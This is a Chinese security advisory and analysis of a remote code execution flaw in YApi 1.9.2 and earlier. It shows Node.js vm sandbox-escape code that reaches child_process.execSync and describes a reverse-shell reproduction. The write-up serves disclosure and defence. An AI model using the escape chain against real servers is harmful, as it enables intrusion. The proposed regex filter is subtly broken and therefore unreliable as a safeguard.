文章首发于 paper.seebug.org

0x01 简述

Yapi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

2021年7月8日,有用户在 GitHub 上发布了遭受攻击的相关信息。攻击者通过注册用户,并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 require('vm') 来构建沙箱环境,而攻击者可以通过原型链改变沙箱环境运行的上下文,从而达到沙箱逃逸的效果。通过 vm.runInNewContext("this.constructor.constructor('return process')()") 即可获得一个 process 对象。

影响版本

Yapi <= 1.9.2

0x02 复现

复现环境为 Yapi 1.9.2,Docker 环境已上传到 Dokcer Hub。

攻击者通过注册功能注册一个新用户,在新建项目页面创建一个新项目。

攻击者注册后添加新项目

在设置 -> 全局 mock 脚本中添加恶意代码。设置命令为反弹 shell 到远程服务器。

添加恶意 mock 脚本

POC如下:

POC

随后添加接口,访问提供的 mock 地址。

添加接口并访问 mock 地址

随后即可在远程服务器上收到来自命令执行反弹的 shell。

接收到了反弹的 shell

0x03 漏洞分析

在 Github 上发布的新版本 1.9.3 已经修复了这个漏洞。https://github.com/YMFE/yapi/commit/37f7e55a07ca1c236cff6b0f0b00e6ec5063c58e

核心问题在server/utils/commons.js line 635

修复细节

修复后的代码引入了新的动态脚本执行模块 safeity,替换了原有的 vm 模块。根据 Node.js 官方的描述

The vm module is not a security mechanism. Do not use it to run untrusted code.

vm 模块并不是一个完全安全的动态脚本执行模块。先来看看 vm 有哪些执行命令的函数。

根据官方文档,这三个函数都有一个参数 contextObject 用来表示上下文。但是这个上下文并不是完全隔离地运行的,可以通过原型链的形式实现沙箱逃逸。

> vm.runInNewContext("this")
{} // this 是一个空对象

> vm.runInNewContext("this.constructor")
[Function: Object] // 通过 this.constructor 可以获得一个对象的构造方法

> vm.runInNewContext("this.constructor('a')")
[String: 'a'] // 获得了一个字符串对象

> vm.runInNewContext("this.constructor.constructor('return process')")
[Function: anonymous] // 获得了一个匿名函数 function() { return process; }

> vm.runInNewContext("this.constructor.constructor('return process')()")
process {
  title: 'node',
  version: 'v10.19.0',
  ...
} // 获得了一个 process() 函数的执行结果
  // 接下来就可以通过 process.mainModule.require('chile_process').execSync('command') 来执行任意代码

有一种防护方案是将上下文对象的原型链赋值成 null,就可以防止利用 this.constructor 进行沙盒逃逸。const contextObject = Object.create(null),但是这种方法有个缺点,这样禁用了内置的函数,业务需求完全得不到实现。有文章Node.js沙盒逃逸分析提到可以用 vm.runInNewContext('"a".constructor.constructor("return process")().exit()', ctx);绕过原型链为 null 的限制。测试后发现无效,如果不考虑业务需求的话,Object.create(null)应该是一种终极的解决方案了。

接下来我们可以下断点跟进看看漏洞是如何被利用的。在server/utils/commons.js line 635处下断点,构造 mock 脚本,然后访问 mock 接口,程序运行停止在断点处。使用 F11 Step into 进入server/utils/conmmons.js处,单步调试至line 289,再用 F11 进入沙盒环境。

const sandbox = this // 将沙盒赋给了变量 sandbox
const process = this.constructor.constructor('return process')() // 利用原型链进行沙盒逃逸获得 process 对象
mockJson = process.mainModule.require('child_process').execSync('whoami && ps -ef').toString() // 给 sandbox.mockJson 赋值了命令执行的结果

函数执行结束后会调用 context.mockJson = sandbox.mockJson 并将 mockJson 作为 req.body 返回用户,于是就可以在页面中看到命令执行的反馈。

0x04 防护方案

1、在 Mock 功能中加入对恶意代码的过滤。找到文件 api/common/postmanLib.js 的第178行,在函数 function sandboxByNode(sandbox = {}, script) 的开始添加一段过滤: const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

2、如果没有使用注册的需求,建议关闭 Yapi 的注册功能。通过修改 Yapi 项目目录下的 config.json 文件,将 closeRegister 字段修改为 true 并重启服务即可。

3、如果没有 Mock 功能的需求,建议关闭 Yapi 的 Mock 功能。

0x05 相关链接

1、高级Mock可以获取到系统操作权限
2、Node.js命令执行和沙箱安全
3、Node.js沙盒逃逸分析